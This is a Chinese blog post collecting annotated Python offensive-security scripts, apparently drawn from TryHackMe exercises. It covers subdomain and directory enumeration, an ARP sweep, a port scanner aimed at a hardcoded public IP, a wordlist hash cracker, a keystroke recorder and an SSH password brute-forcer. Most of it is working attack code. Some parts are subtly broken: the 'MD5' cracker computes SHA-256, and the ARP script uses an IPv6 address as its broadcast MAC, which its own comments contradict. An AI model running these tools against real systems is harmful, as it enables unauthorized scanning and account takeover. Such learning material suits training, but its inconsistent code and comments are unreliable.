python渗透工具脚本

作者:xiaowu 日期: 分类:xiaowu 浏览:679

image.png

子域枚举

# 子域枚举


import requests  # 导入requests库,用于发送HTTP请求
import sys       # 导入sys模块,用于接收命令行参数

# 从文件"wordlist1.txt"中读取子域名列表
sub_list = open("wordlist1.txt").read()
# 将读取的内容按行分割,并存储在subdoms列表中,每个元素代表一个子域名
subdoms = sub_list.splitlines()

# 遍历子域名列表
for sub in subdoms:
    # 构建完整的子域名URL,形式为 "http://子域名.主域名"
    sub_domains = f"http://{sub}.{sys.argv[1]}"

    try:
        # 发送GET请求到拼接好的URL,并将响应存储在response变量中
        response = requests.get(sub_domains)

        # 检查HTTP响应状态码
        if response.status_code == 200:
            # 如果响应状态码为200,则打印出有效域名信息
            print("有效域名:", sub_domains)
        else:
            # 如果响应状态码不为200,则打印出域名不存在的信息
            print("域名不存在:", sub_domains)

    except requests.ConnectionError:
        # 捕获连接错误异常,通常是由于网络连接问题引起的
        pass




    # import requests:导入requests库,用于发送HTTP请求。
    # import sys:导入sys模块,用于接收命令行参数。
    # sub_list = open("wordlist1.txt").read():打开名为"wordlist1.txt"的文件,读取其中的内容,并将其存储在sub_list变量中。
    # subdoms = sub_list.splitlines():将读取的内容按行分割,并存储在subdoms列表中,每个元素代表一个子域名。
    # for sub in subdoms: :遍历subdoms列表中的每个子域名。
    # sub_domains = f"http://{sub}.{sys.argv[1]}":将当前遍历到的子域名与命令行参数中指定的域名拼接成完整的URL,并存储在sub_domains变量中。这里使用了f - string来动态构建字符串。
    # try: :开始一个try代码块,用于捕获可能出现的异常。
    # response = requests.get(sub_domains):发送一个GET请求到拼接好的URL,并将响应存储在response变量中。
    # if response.status_code == 200: 检查HTTP响应状态码是否为200,表示请求成功。
    # print("有效域名:", sub_domains):如果响应状态码为200,则打印出有效域名。
    # else::如果响应状态码不为200,则执行下面的语句。
    # print("域名不存在:", sub_domains):打印出域名不存在的信息。
    # except requests.ConnectionError::捕获requests库可能抛出的ConnectionError异常,这通常是由于网络连接问题引起的。在这种情况下,程序将继续执行而不会中断。

目录枚举

# 目录扫描


import requests  # 导入用于发送 HTTP 请求的 requests 模块
import sys  # 导入用于获取命令行参数的 sys 模块
# 打开并读取存放目录名的文本文件
sub_list = open("wordlist1.txt").read()
# 将读取的目录名按行分割成列表
directories = sub_list.splitlines()
# 遍历目录列表
for dir in directories:
    # 拼接目录的完整 URL
    dir_enum = f"http://{sys.argv[1]}/{dir}.html"
    # 发送 HTTP GET 请求检查目录是否存在
    r = requests.get(dir_enum)
    # 如果返回状态码为 404(页面未找到),则跳过该目录
    if r.status_code == 404:
        pass
    else:
        # 如果返回状态码不是 404,则打印出有效的目录地址
        print("Valid directory:", dir_enum)  # 打印有效目录地址

# 使用 requests 模块来发送 HTTP 请求。
# 使用 sys.argv[1] 获取脚本执行时传入的第一个参数,作为要检查的 URL 的基础部分。
# 从名为 "wordlist.txt" 的文件中读取目录列表。
# 使用 splitlines() 方法将文件内容按行拆分为一个目录列表。
# 遍历目录列表,针对每个目录,构造完整的目录 URL(以 .html 结尾)。
# 使用 requests.get() 发送 HTTP GET 请求来检查目录是否存在。
# 如果返回的状态码是 404(即页面未找到),则忽略该目录。
# 否则,打印出存在的目录。

网络扫描

# 网络扫描


from scapy.all import *  # 导入 Scapy 库的所有功能
from scapy.layers.l2 import Ether, ARP  # 导入 Ethernet 和 ARP 协议层

interface = "WLAN"  # 指定网络接口名称
ip_range = "172.22.120.182/24"  # 指定 IP 地址范围
broadcastMac = "fe80::2207:59c8:dea4:38da%19"  # 指定广播 MAC 地址

# 构造 ARP 请求包,发送至指定 IP 地址范围
packet = Ether(dst=broadcastMac) / ARP(pdst=ip_range)

# 发送 ARP 请求并等待响应,设置超时时间为 2 秒
ans, unans = srp(packet, timeout=2, iface=interface, inter=0.1)

# 遍历收到的响应包,并打印发送方的 MAC 地址和对应的 IP 地址
for send, receive in ans:
    print(receive.sprintf(r"%Ether.src% - %ARP.psrc%"))  # 打印收到的 MAC 地址和 IP 地址




# 以上Python代码使用了Scapy库来进行ARP扫描,具体分析如下:
#
# 从scapy.all中导入所有功能,用于构造与发送数据包。
# 定义了接口interface为eth0,目标IP范围ip_range为10.10.X.X/24,广播MAC地址broadcastMac为ff:ff:ff:ff:ff:ff。
# 构造一个ARP数据包packet,以广播MAC地址为目标MAC地址dst,ARP请求的目标IP地址pdst为ip_range。
# 使用srp()发送probe request数据包packet,设置超时时间timeout为2秒,接口iface为eth0,间隔inter为0.1秒。
# srp()会返回被应答的报文ans和未被应答的报文unans。
# 使用for遍历ans中的发送报文send和接收报文receive,使用receive.sprintf()来格式化接收报文,最终将打印Ether.src(源MAC地址)和ARP.psrc(源IP地址)。
# 该代码实现了对ip_range地址范围内的主机发出ARP请求,获取活跃主机的MAC地址与IP地址,实现一个简单的ARP扫描工具。
#
# 代码总结:
#
# 使用Scapy构造和发送ARP请求报文。
# 设置接口、目标IP范围和超时时间。
# 获取被应答的报文。
# 遍历获取的报文,打印源MAC地址和源IP地址。

端口扫描

# 端口扫描



import sys
import socket
import pyfiglet

# 生成 ASCII 艺术字体的横幅
ascii_banner = pyfiglet.figlet_format("XIAOWU  \nPort Scanner")
print(ascii_banner)

# 要扫描的目标 IP 地址
ip = '47.109.103.183'

# 存储开放端口的列表
open_ports = []

# 要扫描的端口列表
ports = {21, 22, 23, 53, 80, 135, 443, 445, 2100,3306}
# ports=range(1,65535)

# 探测端口是否开放的函数
def probe_port(ip, port, result=1):
    try:
        # 创建 TCP 套接字
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # 设置连接超时时间为 0.5 秒
        sock.settimeout(0.5)
        # 尝试连接指定的 IP 和端口
        r = sock.connect_ex((ip, port))
        # 若连接成功,则将 result 置为 0
        if r == 0:
            result = r
        # 关闭套接字连接
        sock.close()
    except Exception as e:
        pass
    return result

# 遍历端口列表,探测每个端口是否开放
for port in ports:
    sys.stdout.flush()
    response = probe_port(ip, port)
    if response == 0:
        open_ports.append(port)

# 如果存在开放的端口,则打印出这些开放的端口,否则打印无开放端口的提示信息
if open_ports:
    print("Open Ports are: ")
    print(sorted(open_ports))
else:
    print("Looks like no ports are open :(")




# 这段代码是一个简单的端口扫描器,它使用 Python 的 socket 库来扫描指定 IP 地址上的端口。以下是代码的简要解释:
#
# 导入必要的库:sys 用于系统相关操作,socket 用于网络连接,pyfiglet 用于生成艺术字体的字符串。
#
# 使用 pyfiglet 生成一个 ASCII 艺术字体的横幅,并打印出来。
#
# 指定要扫描的目标 IP 地址。
#
# 定义要扫描的端口列表 ports,这些端口是常见的一些服务端口。
#
# 定义了一个名为 probe_port 的函数,用于探测指定 IP 和端口是否开放。该函数创建了一个 TCP 套接字,并尝试连接指定的 IP 和端口,若连接成功则返回 0,否则抛出异常。
#
# 遍历端口列表,调用 probe_port 函数来检测每个端口是否开放,如果开放则将端口号添加到 open_ports 列表中。
#
# 最后,如果存在开放的端口,则打印出这些开放的端口,否则打印“Looks like no ports are open :(”。
#
# 该端口扫描器只能扫描指定 IP 地址上的固定端口列表,如果需要扫描更广泛的端口范围,需要修改 ports 变量为一个更大的范围,比如从 1 到 65535。

文件下载

# 文件下载


import requests

# 要下载的文件的 URL
url = 'https://assets.tryhackme.com/img/THMlogo.png'

# 发起 GET 请求,下载文件,并允许重定向
r = requests.get(url, allow_redirects=True)

# 将下载的文件内容写入本地 THMlogo.png 文件中
open('THMlogo.png', 'wb').write(r.content)

# 导入必要的库:requests 用于获取网络资源。
#
# 指定要下载的文件的 URL。
#
# 调用 requests 库的 get() 方法,传递 URL 和 allow_redirects=True 参数,以允许重定向。
#
# 检查响应对象 r 的状态码,如果为 200(即成功),则执行下一步,否则抛出异常。
#
# 将下载的文件内容写入本地文件 THMlogo.png 中。

哈希破解

# 哈希破解


import hashlib  # 导入哈希算法库
import pyfiglet  # 导入生成ASCII艺术横幅的库

# 生成ASCII艺术横幅
ascii_banner = pyfiglet.figlet_format("xiaowu \n HASH CRACKER for MD 5")
print(ascii_banner)

# 获取用户输入的单词列表文件位置和要被破解的散列值
wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))

# 打开单词列表文件,逐行读取并计算MD5散列值,尝试匹配输入的散列值
with open(wordlist_location, 'r') as file:
    for line in file.readlines():
        hash_ob = hashlib.sha256(line.strip().encode())  # 计算单词的MD5散列值
        hashed_pass = hash_ob.hexdigest()
        if hashed_pass == hash_input:  # 如果匹配成功,输出原始密码并结束程序
            print('cleartext password is : ' + line.strip())
            exit(0)

键盘记录

# 导入keyboard库
import keyboard

# 使用keyboard库记录键盘输入,直到按下Enter键为止
keys = keyboard.record(until='ENTER')

# 重新播放记录的键盘输入
keyboard.play(keys)

SSH暴力破解

# ssh暴力破解


import paramiko  # 导入Paramiko库用于SSH连接
import pyfiglet  # 导入生成ASCII艺术横幅的库

# 生成ASCII艺术横幅
ascii_banner = pyfiglet.figlet_format("xiaowu \n SSH Brute Forcing")
print(ascii_banner)

target = str(input('Please enter target IP address: '))  # 获取目标IP地址
username = str(input('Please enter username to bruteforce: '))  # 获取要破解的用户名
password_file = str(input('Please enter location of the password file: '))  # 获取存储密码的文件位置

# 定义SSH连接函数
def ssh_connect(password, code=0):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        ssh.connect(target, port=22, username=username, password=password)  # 尝试使用给定的密码进行SSH连接
    except paramiko.AuthenticationException:
        code = 1
    ssh.close()
    return code

# 打开存储密码的文件,逐行读取密码并尝试SSH连接
with open(password_file, 'r') as file:  # 使用用户输入的密码文件位置
    for line in file.readlines():
        password = line.strip()

        try:
            response = ssh_connect(password)  # 调用SSH连接函数

            if response == 0:
                print('password found: ' + password)  # 如果密码正确,输出找到的密码并结束程序
                exit(0)
            elif response == 1:
                print('no luck')  # 如果密码错误,提示破解失败
        except Exception as e:
            print(e)  # 输出异常信息



# import paramiko: 导入Paramiko库,用于SSH连接。
#
# import pyfiglet: 导入pyfiglet库,用于生成ASCII艺术横幅。
#
# ascii_banner = pyfiglet.figlet_format("xiaowu \n SSH Brute Forcing"): 生成ASCII艺术横幅,展示了"xiaowu SSH Brute Forcing"的文本。
#
# print(ascii_banner): 打印生成的ASCII艺术横幅。
#
# target = str(input('Please enter target IP address: ')): 获取用户输入的目标IP地址。
#
# username = str(input('Please enter username to bruteforce: ')): 获取用户输入的要破解的用户名。
#
# password_file = str(input('Please enter location of the password file: ')): 获取用户输入的存储密码的文件位置。
#
# def ssh_connect(password, code=0):: 定义了一个名为ssh_connect的函数,用于尝试使用给定的密码进行SSH连接,并返回连接状态码。
#
# ssh = paramiko.SSHClient(): 创建一个SSHClient对象。
#
# ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()): 设置SSHClient对象的缺失主机密钥策略为AutoAddPolicy。
#
# ssh.connect(target, port=22, username=username, password=password): 尝试使用给定的用户名和密码连接到目标IP地址的SSH服务器。
#
# except paramiko.AuthenticationException: 捕获AuthenticationException异常,表示认证失败。
#
# ssh.close(): 关闭SSH连接。
#
# return code: 返回连接状态码。
#
# with open(password_file, 'r') as file:: 打开用户输入的密码文件。
#
# for line in file.readlines():: 遍历密码文件中的每一行。
#
# password = line.strip(): 去除每行密码两端的空白字符。
#
# response = ssh_connect(password): 使用当前行的密码尝试SSH连接。
#
# if response == 0:: 如果连接状态码为0,表示连接成功。
#
# print('password found: ' + password): 打印找到的密码。
#
# exit(0): 结束程序。
#
# elif response == 1:: 如果连接状态码为1,表示连接失败。
#
# print('no luck'): 输出破解失败的消息。
#
# except Exception as e:: 捕获所有异常。
#
# print(e): 打印异常信息。

关键词:

网友评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。